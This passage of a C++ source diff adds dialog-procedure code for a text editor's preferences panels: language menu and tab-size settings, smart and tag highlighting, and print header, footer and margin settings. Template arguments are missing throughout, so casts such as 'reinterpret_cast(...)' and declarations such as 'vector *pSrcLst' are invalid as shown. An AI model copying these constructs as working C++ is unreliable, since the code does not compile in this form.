reinterpret_cast(pNppParam->getEnableThemeDlgTexture()); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == LBN_SELCHANGE) + { + // Lang Menu + if (LOWORD(wParam) == IDC_LIST_DISABLEDLANG || LOWORD(wParam) == IDC_LIST_ENABLEDLANG) + { + int idButton2Enable; + int idButton2Disable; + + if (LOWORD(wParam) == IDC_LIST_ENABLEDLANG) + { + idButton2Enable = IDC_BUTTON_REMOVE; + idButton2Disable = IDC_BUTTON_RESTORE; + } + else //IDC_LIST_DISABLEDLANG + { + idButton2Enable = IDC_BUTTON_RESTORE; + idButton2Disable = IDC_BUTTON_REMOVE; + } + + auto i = ::SendDlgItemMessage(_hSelf, LOWORD(wParam), LB_GETCURSEL, 0, 0); + if (i != LB_ERR) + { + ::EnableWindow(::GetDlgItem(_hSelf, idButton2Enable), TRUE); + int idListbox2Disable = (LOWORD(wParam)== IDC_LIST_ENABLEDLANG)?IDC_LIST_DISABLEDLANG:IDC_LIST_ENABLEDLANG; + ::SendDlgItemMessage(_hSelf, idListbox2Disable, LB_SETCURSEL, static_cast(-1), 0); + ::EnableWindow(::GetDlgItem(_hSelf, idButton2Disable), FALSE); + } + return TRUE; + + } + // Tab setting + else if (LOWORD(wParam) == IDC_LIST_TABSETTNG) + { + auto index = ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_GETCURSEL, 0, 0); + if (index == LB_ERR) + return FALSE; + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GR_TABVALUE_STATIC), index ? SW_SHOW : SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CHECK_DEFAULTTABVALUE), index ? SW_SHOW : SW_HIDE); + + if (index) + { + Lang *lang = pNppParam->getLangFromIndex(index - 1); + if (!lang) return FALSE; + bool useDefaultTab = (lang->_tabSize == -1 || lang->_tabSize == 0); + + ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_DEFAULTTABVALUE), BM_SETCHECK, useDefaultTab, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZE_STATIC), !useDefaultTab); + + int size = useDefaultTab ? nppGUI._tabSize : lang->_tabSize; + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, size, FALSE); + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC, size, FALSE); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), !useDefaultTab); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC), useDefaultTab); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), !useDefaultTab); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), BM_SETCHECK, useDefaultTab ? nppGUI._tabReplacedBySpace : lang->_isTabReplacedBySpace, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), !useDefaultTab); + + if (!useDefaultTab) + { + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, lang->_tabSize, FALSE); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), BM_SETCHECK, lang->_isTabReplacedBySpace, 0); + } + } + else + { + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZE_STATIC), TRUE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), TRUE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), SW_SHOW); + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, nppGUI._tabSize, FALSE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC), SW_HIDE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), TRUE); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), BM_SETCHECK, nppGUI._tabReplacedBySpace, 0); + } + + return TRUE; + } + + } + + // Check if it is double click + else if (HIWORD(wParam) == LBN_DBLCLK) + { + // Lang Menu + if (LOWORD(wParam) == IDC_LIST_DISABLEDLANG || LOWORD(wParam) == IDC_LIST_ENABLEDLANG) + { + // On double click an item, the item should be moved + // from one list to other list + + HWND(lParam) == ::GetDlgItem(_hSelf, IDC_LIST_ENABLEDLANG) ? + ::SendMessage(_hSelf, WM_COMMAND, IDC_BUTTON_REMOVE, 0) : + ::SendMessage(_hSelf, WM_COMMAND, IDC_BUTTON_RESTORE, 0); + return TRUE; + } + + // Tab setting - Double click is not used at this moment + /*else if (LOWORD(wParam) == IDC_LIST_TABSETTNG) + { + }*/ + } + + switch (wParam) + { + // + // Lang Menu + // + case IDC_CHECK_LANGMENUCOMPACT : + { + nppGUI._isLangMenuCompact = (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_LANGMENUCOMPACT), BM_GETCHECK, 0, 0)); + ::MessageBox(_hSelf, + nppGUI._isLangMenuCompact?TEXT("This option will be enabled on the next launch."):TEXT("This option will be disabled on the next launch."), + TEXT("Compact Language Menu"), MB_OK); + return TRUE; + } + + case IDC_BUTTON_RESTORE : + case IDC_BUTTON_REMOVE : + { + int list2Remove, list2Add, idButton2Enable, idButton2Disable; + vector *pSrcLst, *pDestLst; + + if (LOWORD(wParam)==IDC_BUTTON_REMOVE) + { + list2Remove = IDC_LIST_ENABLEDLANG; + list2Add = IDC_LIST_DISABLEDLANG; + idButton2Enable = IDC_BUTTON_RESTORE; + idButton2Disable = IDC_BUTTON_REMOVE; + pSrcLst = &_langList; + pDestLst = &nppGUI._excludedLangList; + } + else + { + list2Remove = IDC_LIST_DISABLEDLANG; + list2Add = IDC_LIST_ENABLEDLANG; + idButton2Enable = IDC_BUTTON_REMOVE; + idButton2Disable = IDC_BUTTON_RESTORE; + pSrcLst = &nppGUI._excludedLangList; + pDestLst = &_langList; + } + size_t iRemove = ::SendDlgItemMessage(_hSelf, list2Remove, LB_GETCURSEL, 0, 0); + if (iRemove == -1) + return TRUE; + + TCHAR s[32]; + ::SendDlgItemMessage(_hSelf, list2Remove, LB_GETTEXT, iRemove, reinterpret_cast(s)); + + LangMenuItem lmi = pSrcLst->at(iRemove); + vector::iterator lang2Remove = pSrcLst->begin() + iRemove; + pSrcLst->erase(lang2Remove); + + auto iAdd = ::SendDlgItemMessage(_hSelf, list2Add, LB_ADDSTRING, 0, reinterpret_cast(s)); + ::SendDlgItemMessage(_hSelf, list2Remove, LB_DELETESTRING, iRemove, 0); + pDestLst->push_back(lmi); + + ::SendDlgItemMessage(_hSelf, list2Add, LB_SETCURSEL, iAdd, 0); + ::SendDlgItemMessage(_hSelf, list2Remove, LB_SETCURSEL, static_cast(-1), 0); + ::EnableWindow(::GetDlgItem(_hSelf, idButton2Enable), TRUE); + ::EnableWindow(::GetDlgItem(_hSelf, idButton2Disable), FALSE); + + if ((lmi._langType >= L_EXTERNAL) && (lmi._langType < pNppParam->L_END)) + { + bool found(false); + for(size_t x = 0; x < pNppParam->getExternalLexerDoc()->size() && !found; ++x) + { + TiXmlNode *lexersRoot = pNppParam->getExternalLexerDoc()->at(x)->FirstChild(TEXT("NotepadPlus"))->FirstChildElement(TEXT("LexerStyles")); + for (TiXmlNode *childNode = lexersRoot->FirstChildElement(TEXT("LexerType")); + childNode ; + childNode = childNode->NextSibling(TEXT("LexerType"))) + { + TiXmlElement *element = childNode->ToElement(); + + if (generic_string(element->Attribute(TEXT("name"))) == lmi._langName) + { + element->SetAttribute(TEXT("excluded"), (LOWORD(wParam)==IDC_BUTTON_REMOVE)?TEXT("yes"):TEXT("no")); + pNppParam->getExternalLexerDoc()->at(x)->SaveFile(); + found = true; + break; + } + } + } + } + + HWND grandParent = ::GetParent(_hParent); + + if (LOWORD(wParam)==IDC_BUTTON_REMOVE) + { + HMENU menu2remove = reinterpret_cast(::SendMessage(grandParent, NPPM_INTERNAL_GETMENU, 0, 0)); + ::DeleteMenu(menu2remove, lmi._cmdID, MF_BYCOMMAND); + } + else + { + HMENU menu = HMENU(::SendMessage(grandParent, NPPM_INTERNAL_GETMENU, 0, 0)); + HMENU subMenu = ::GetSubMenu(menu, MENUINDEX_LANGUAGE); + + // Add back a languge menu item always before the 3 last items: + // 1. ----------------------- + // 2. Define your language... + // 3. User-Defined + int nbItem = ::GetMenuItemCount(subMenu); + + if (nbItem < 3) + return FALSE; + + ::InsertMenu(subMenu, nbItem - 3, MF_BYPOSITION, lmi._cmdID, lmi._langName.c_str()); + } + ::DrawMenuBar(grandParent); + return TRUE; + } + + // + // Tab setting + // + case IDC_TABSIZEVAL_STATIC: + { + ValueDlg tabSizeDlg; + tabSizeDlg.init(_hInst, _hParent, nppGUI._tabSize, TEXT("Tab Size : ")); + POINT p; + ::GetCursorPos(&p); + int size = tabSizeDlg.doDialog(p); + + //Tab size 0 removal + if (size <= 0) return FALSE; + + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, size, FALSE); + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC, size, FALSE); + + auto index = ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_GETCURSEL, 0, 0); + if (index == LB_ERR) return FALSE; + + if (index != 0) + { + Lang *lang = pNppParam->getLangFromIndex(index - 1); + if (!lang) return FALSE; + if (lang->_langID == L_JS) + { + Lang *ljs = pNppParam->getLangFromID(L_JAVASCRIPT); + ljs->_tabSize = size; + } + else if (lang->_langID == L_JAVASCRIPT) + { + Lang *ljavascript = pNppParam->getLangFromID(L_JS); + ljavascript->_tabSize = size; + } + + lang->_tabSize = size; + + // write in langs.xml + pNppParam->insertTabInfo(lang->getLangName(), lang->getTabInfo()); + } + else + { + nppGUI._tabSize = size; + } + + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETTING_TAB_SIZE, 0, 0); + return TRUE; + } + + case IDC_CHECK_REPLACEBYSPACE: + { + bool isTabReplacedBySpace = BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), BM_GETCHECK, 0, 0); + auto index = ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_GETCURSEL, 0, 0); + if (index == LB_ERR) return FALSE; + if (index != 0) + { + Lang *lang = pNppParam->getLangFromIndex(index - 1); + if (!lang) return FALSE; + if (!lang->_tabSize || lang->_tabSize == -1) + lang->_tabSize = nppGUI._tabSize; + + if (lang->_langID == L_JS) + { + Lang *ljs = pNppParam->getLangFromID(L_JAVASCRIPT); + ljs->_isTabReplacedBySpace = isTabReplacedBySpace; + } + else if (lang->_langID == L_JAVASCRIPT) + { + Lang *ljavascript = pNppParam->getLangFromID(L_JS); + ljavascript->_isTabReplacedBySpace = isTabReplacedBySpace; + } + + lang->_isTabReplacedBySpace = isTabReplacedBySpace; + + // write in langs.xml + pNppParam->insertTabInfo(lang->getLangName(), lang->getTabInfo()); + } + else + { + nppGUI._tabReplacedBySpace = isTabReplacedBySpace; + } + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETTING_TAB_REPLCESPACE, 0, 0); + return TRUE; + } + + case IDC_CHECK_DEFAULTTABVALUE: + { + bool useDefaultTab = BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_DEFAULTTABVALUE), BM_GETCHECK, 0, 0); + auto index = ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_GETCURSEL, 0, 0); + if (index == LB_ERR || index == 0) // index == 0 shouldn't happen + return FALSE; + + Lang *lang = pNppParam->getLangFromIndex(index - 1); + if (!lang) + return FALSE; + + //- Set tab setting in choosed language + lang->_tabSize = useDefaultTab ? 0 : nppGUI._tabSize; + lang->_isTabReplacedBySpace = useDefaultTab ? false : nppGUI._tabReplacedBySpace; + + //- set visual effect + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZE_STATIC), !useDefaultTab); + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, useDefaultTab ? nppGUI._tabSize : lang->_tabSize, FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), !useDefaultTab); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC), useDefaultTab); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), !useDefaultTab); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), BM_SETCHECK, useDefaultTab ? nppGUI._tabReplacedBySpace : lang->_isTabReplacedBySpace, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_REPLACEBYSPACE), !useDefaultTab); + + // write in langs.xml + if (useDefaultTab) + pNppParam->insertTabInfo(lang->getLangName(), -1); + + return TRUE; + } + } + } + } + return FALSE; +} + +INT_PTR CALLBACK Highlighting::run_dlgProc(UINT message, WPARAM wParam, LPARAM/* lParam*/) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + + switch (message) + { + case WM_INITDIALOG : + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLSMARTHILITE, BM_SETCHECK, nppGUI._enableSmartHilite, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITECASESENSITIVE, BM_SETCHECK, nppGUI._smartHiliteCaseSensitive, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEWHOLEWORDONLY, BM_SETCHECK, nppGUI._smartHiliteWordOnly, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEUSEFINDSETTINGS, BM_SETCHECK, nppGUI._smartHiliteUseFindSettings, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEANOTHERRVIEW, BM_SETCHECK, nppGUI._smartHiliteOnAnotherView, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLTAGSMATCHHILITE, BM_SETCHECK, nppGUI._enableTagsMatchHilite, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLTAGATTRHILITE, BM_SETCHECK, nppGUI._enableTagAttrsHilite, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_HIGHLITENONEHTMLZONE, BM_SETCHECK, nppGUI._enableHiliteNonHTMLZone, 0); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_ENABLTAGATTRHILITE), nppGUI._enableTagsMatchHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_HIGHLITENONEHTMLZONE), nppGUI._enableTagsMatchHilite); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITECASESENSITIVE), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEWHOLEWORDONLY), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEUSEFINDSETTINGS), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEANOTHERRVIEW), nppGUI._enableSmartHilite); + + ETDTProc enableDlgTheme = reinterpret_cast(pNppParam->getEnableThemeDlgTexture()); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_CHECK_ENABLSMARTHILITE: + { + nppGUI._enableSmartHilite = !nppGUI._enableSmartHilite; + if (!nppGUI._enableSmartHilite) + { + //HWND grandParent = ::GetParent(_hParent); + //::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITECASESENSITIVE), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEWHOLEWORDONLY), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEUSEFINDSETTINGS), nppGUI._enableSmartHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_SMARTHILITEANOTHERRVIEW), nppGUI._enableSmartHilite); + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + return TRUE; + } + + case IDC_CHECK_SMARTHILITECASESENSITIVE: + { + nppGUI._smartHiliteCaseSensitive = isCheckedOrNot(IDC_CHECK_SMARTHILITECASESENSITIVE); + if (nppGUI._smartHiliteCaseSensitive) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEUSEFINDSETTINGS, BM_SETCHECK, false, 0); + nppGUI._smartHiliteUseFindSettings = false; + } + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + return TRUE; + } + case IDC_CHECK_SMARTHILITEWHOLEWORDONLY: + { + nppGUI._smartHiliteWordOnly = isCheckedOrNot(IDC_CHECK_SMARTHILITEWHOLEWORDONLY); + if (nppGUI._smartHiliteWordOnly) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEUSEFINDSETTINGS, BM_SETCHECK, false, 0); + nppGUI._smartHiliteUseFindSettings = false; + } + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + return TRUE; + } + case IDC_CHECK_SMARTHILITEUSEFINDSETTINGS: + { + nppGUI._smartHiliteUseFindSettings = isCheckedOrNot(IDC_CHECK_SMARTHILITEUSEFINDSETTINGS); + if (nppGUI._smartHiliteUseFindSettings) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITECASESENSITIVE, BM_SETCHECK, false, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMARTHILITEWHOLEWORDONLY, BM_SETCHECK, false, 0); + nppGUI._smartHiliteCaseSensitive = false; + nppGUI._smartHiliteWordOnly = false; + } + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + return TRUE; + } + case IDC_CHECK_SMARTHILITEANOTHERRVIEW: + { + nppGUI._smartHiliteOnAnotherView = isCheckedOrNot(IDC_CHECK_SMARTHILITEANOTHERRVIEW); + + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATOR, 0, 0); + return TRUE; + } + + case IDC_CHECK_ENABLTAGSMATCHHILITE: + { + nppGUI._enableTagsMatchHilite = !nppGUI._enableTagsMatchHilite; + if (!nppGUI._enableTagsMatchHilite) + { + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATORTAGMATCH, 0, 0); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_ENABLTAGATTRHILITE), nppGUI._enableTagsMatchHilite); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_HIGHLITENONEHTMLZONE), nppGUI._enableTagsMatchHilite); + return TRUE; + } + + case IDC_CHECK_ENABLTAGATTRHILITE: + { + nppGUI._enableTagAttrsHilite = !nppGUI._enableTagAttrsHilite; + if (!nppGUI._enableTagAttrsHilite) + { + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_CLEARINDICATORTAGATTR, 0, 0); + } + return TRUE; + } + + case IDC_CHECK_HIGHLITENONEHTMLZONE: + { + nppGUI._enableHiliteNonHTMLZone = !nppGUI._enableHiliteNonHTMLZone; + return TRUE; + } + } + } + } + return FALSE; +} + +void trim(generic_string & str) +{ + generic_string::size_type pos = str.find_last_not_of(' '); + + if (pos != generic_string::npos) + { + str.erase(pos + 1); + pos = str.find_first_not_of(' '); + if(pos != generic_string::npos) str.erase(0, pos); + } + else str.erase(str.begin(), str.end()); +}; + +INT_PTR CALLBACK PrintSettingsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + + switch (message) + { + case WM_INITDIALOG : + { + bool printLN = nppGUI._printSettings._printLineNumber; + ::SendDlgItemMessage(_hSelf, IDC_CHECK_PRINTLINENUM, BM_SETCHECK, printLN, 0); + + int ID2Check = 0; + switch (nppGUI._printSettings._printOption) + { + case SC_PRINT_NORMAL : + ID2Check = IDC_RADIO_WYSIWYG; + break; + case SC_PRINT_INVERTLIGHT : + ID2Check = IDC_RADIO_INVERT; + break; + case SC_PRINT_BLACKONWHITE : + ID2Check = IDC_RADIO_BW; + break; + case SC_PRINT_COLOURONWHITE : + ID2Check = IDC_RADIO_NOBG; + break; + } + ::SendDlgItemMessage(_hSelf, ID2Check, BM_SETCHECK, BST_CHECKED, 0); + + ::SetDlgItemInt(_hSelf, IDC_EDIT_ML, nppGUI._printSettings._marge.left, FALSE); + ::SetDlgItemInt(_hSelf, IDC_EDIT_MR, nppGUI._printSettings._marge.right, FALSE); + ::SetDlgItemInt(_hSelf, IDC_EDIT_MT, nppGUI._printSettings._marge.top, FALSE); + ::SetDlgItemInt(_hSelf, IDC_EDIT_MB, nppGUI._printSettings._marge.bottom, FALSE); + ::SetDlgItemText(_hSelf, IDC_EDIT_HLEFT, nppGUI._printSettings._headerLeft.c_str()); + ::SetDlgItemText(_hSelf, IDC_EDIT_HMIDDLE, nppGUI._printSettings._headerMiddle.c_str()); + ::SetDlgItemText(_hSelf, IDC_EDIT_HRIGHT, nppGUI._printSettings._headerRight.c_str()); + ::SetDlgItemText(_hSelf, IDC_EDIT_FLEFT, nppGUI._printSettings._footerLeft.c_str()); + ::SetDlgItemText(_hSelf, IDC_EDIT_FMIDDLE, nppGUI._printSettings._footerMiddle.c_str()); + ::SetDlgItemText(_hSelf, IDC_EDIT_FRIGHT, nppGUI._printSettings._footerRight.c_str()); + + TCHAR intStr[5]; + for(size_t i = 6 ; i < 15 ; ++i) + { + wsprintf(intStr, TEXT("%d"), i); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTSIZE, CB_ADDSTRING, 0, reinterpret_cast(intStr)); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTSIZE, CB_ADDSTRING, 0, reinterpret_cast(intStr)); + } + const std::vector & fontlist = pNppParam->getFontList(); + for (size_t i = 0, len = fontlist.size() ; i < len ; ++i) + { + auto j = ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTNAME, CB_ADDSTRING, 0, reinterpret_cast(fontlist[i].c_str())); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTNAME, CB_ADDSTRING, 0, reinterpret_cast(fontlist[i].c_str())); + + ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTNAME, CB_SETITEMDATA, j, reinterpret_cast(fontlist[i].c_str())); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTNAME, CB_SETITEMDATA, j, reinterpret_cast(fontlist[i].c_str())); + } + + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTNAME, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(nppGUI._printSettings._headerFontName.c_str())); + if (index == CB_ERR) + index = 0; + ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTNAME, CB_SETCURSEL, index, 0); + index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTNAME, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(nppGUI._printSettings._footerFontName.c_str())); + if (index == CB_ERR) + index = 0; + ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTNAME, CB_SETCURSEL, index, 0); + + wsprintf(intStr, TEXT("%d"), nppGUI._printSettings._headerFontSize); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_HFONTSIZE, CB_SELECTSTRING, static_cast(-1), reinterpret_cast(intStr)); + wsprintf(intStr, TEXT("%d"), nppGUI._printSettings._footerFontSize); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_FFONTSIZE, CB_SELECTSTRING, static_cast(-1), reinterpret_cast(intStr)); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_HBOLD, BM_SETCHECK, nppGUI._printSettings._headerFontStyle & (FONTSTYLE_BOLD ? TRUE : FALSE), 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_HITALIC, BM_SETCHECK, nppGUI._printSettings._headerFontStyle & (FONTSTYLE_ITALIC ? TRUE : FALSE), 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FBOLD, BM_SETCHECK, nppGUI._printSettings._footerFontStyle & (FONTSTYLE_BOLD ? TRUE : FALSE), 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FITALIC, BM_SETCHECK, nppGUI._printSettings._footerFontStyle & (FONTSTYLE_ITALIC ? TRUE : FALSE), 0); + + varList.push_back(strCouple(TEXT("Full file name path"), TEXT("$(FULL_CURRENT_PATH)"))); + varList.push_back(strCouple(TEXT("File name"), TEXT("$(FILE_NAME)"))); + varList.push_back(strCouple(TEXT("File directory"), TEXT("$(CURRENT_DIRECTORY)"))); + varList.push_back(strCouple(TEXT("Page"), TEXT("$(CURRENT_PRINTING_PAGE)"))); + varList.push_back(strCouple(TEXT("Short date format"), TEXT("$(SHORT_DATE)"))); + varList.push_back(strCouple(TEXT("Long date format"), TEXT("$(LONG_DATE)"))); + varList.push_back(strCouple(TEXT("Time"), TEXT("$(TIME)"))); + + for (size_t i = 0, len = varList.size() ; i < len ; ++i) + { + auto j = ::SendDlgItemMessage(_hSelf, IDC_COMBO_VARLIST, CB_ADDSTRING, 0, reinterpret_cast(varList[i]._varDesc.c_str())); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_VARLIST, CB_SETITEMDATA, j, reinterpret_cast(varList[i]._var.c_str())); + } + ::SendDlgItemMessage(_hSelf, IDC_COMBO_VARLIST, CB_SETCURSEL, 0, 0); + + + + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + break; + } + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_EDIT_ML: + nppGUI._printSettings._marge.left = ::GetDlgItemInt(_hSelf, IDC_EDIT_ML, NULL, FALSE); + return TRUE; + + case IDC_EDIT_MR: + nppGUI._printSettings._marge.right = ::GetDlgItemInt(_hSelf, IDC_EDIT_MR, NULL, FALSE); + return TRUE; + + case IDC_EDIT_MT : + nppGUI._printSettings._marge.top = ::GetDlgItemInt(_hSelf, IDC_EDIT_MT, NULL, FALSE); + return TRUE; + + case IDC_EDIT_MB : + nppGUI._printSettings._marge.bottom = ::GetDlgItemInt(_hSelf, IDC_EDIT_MB, NULL, FALSE); + return TRUE; + + default : + { + const int stringSize = 256; + TCHAR str[stringSize]; + _focusedEditCtrl = LOWORD(wParam); + ::GetDlgItemText(_hSelf, _focusedEditCtrl, str, stringSize); + ::SendDlgItemMessage(_hSelf, IDC_VIEWPANEL_STATIC, WM_SETTEXT, 0, reinterpret_cast(str)); + switch (LOWORD(wParam)) + { + case IDC_EDIT_HLEFT: + nppGUI._printSettings._headerLeft = str; + trim(nppGUI._printSettings._headerLeft); + return TRUE; + + case IDC_EDIT_HMIDDLE: + nppGUI._printSettings._headerMiddle = str; + trim(nppGUI._printSettings._headerMiddle); + return TRUE; + + case IDC_EDIT_HRIGHT : + nppGUI._printSettings._headerRight = str; + trim(nppGUI._printSettings._headerRight); + return TRUE; + + case IDC_EDIT_FLEFT: + nppGUI._printSettings._footerLeft = str; + trim(nppGUI._printSettings._footerLeft); + return TRUE; + + case IDC_EDIT_FMIDDLE: + nppGUI._printSettings._footerMiddle = str; + trim(nppGUI._printSettings._footerMiddle); + return TRUE; + + case IDC_EDIT_FRIGHT : + nppGUI._printSettings._footerRight = str; + trim(nppGUI._printSettings._footerRight); + return TRUE; + + default : + return FALSE; + } + } + } + } + else if (HIWORD(wParam) == EN_SETFOCUS) + { + const int stringSize = 256; + TCHAR str[stringSize]; + _focusedEditCtrl = LOWORD(wParam); + + int focusedEditStatic = 0; + int groupStatic = 0; + switch (_focusedEditCtrl) + { + case IDC_EDIT_HLEFT : focusedEditStatic = IDC_HL_STATIC; groupStatic = IDC_HGB_STATIC; break; + case IDC_EDIT_HMIDDLE : focusedEditStatic = IDC_HM_STATIC; groupStatic = IDC_HGB_STATIC; break; + case IDC_EDIT_HRIGHT : focusedEditStatic = IDC_HR_STATIC; groupStatic = IDC_HGB_STATIC; break; + case IDC_EDIT_FLEFT : focusedEditStatic = IDC_FL_STATIC; groupStatic = IDC_FGB_STATIC; break; + case IDC_EDIT_FMIDDLE : focusedEditStatic = IDC_FM_STATIC; groupStatic = IDC_FGB_STATIC; break; + case IDC_EDIT_FRIGHT : focusedEditStatic = IDC_FR_STATIC; groupStatic = IDC_FGB_STATIC; break; + default : return TRUE; + } + ::GetDlgItemText(_hSelf, _focusedEditCtrl, str, stringSize); + ::SendDlgItemMessage(_hSelf, IDC_VIEWPANEL_STATIC, WM_SETTEXT, 0, reinterpret_cast(str)); + ::GetDlgItemText(_hSelf, groupStatic, str, stringSize); + generic_string title = str; + title += TEXT(" "); + ::GetDlgItemText(_hSelf, focusedEditStatic, str, stringSize); + title += str; + title += TEXT(" : "); + + ::SendDlgItemMessage(_hSelf, IDC_WHICHPART_STATIC, WM_SETTEXT, 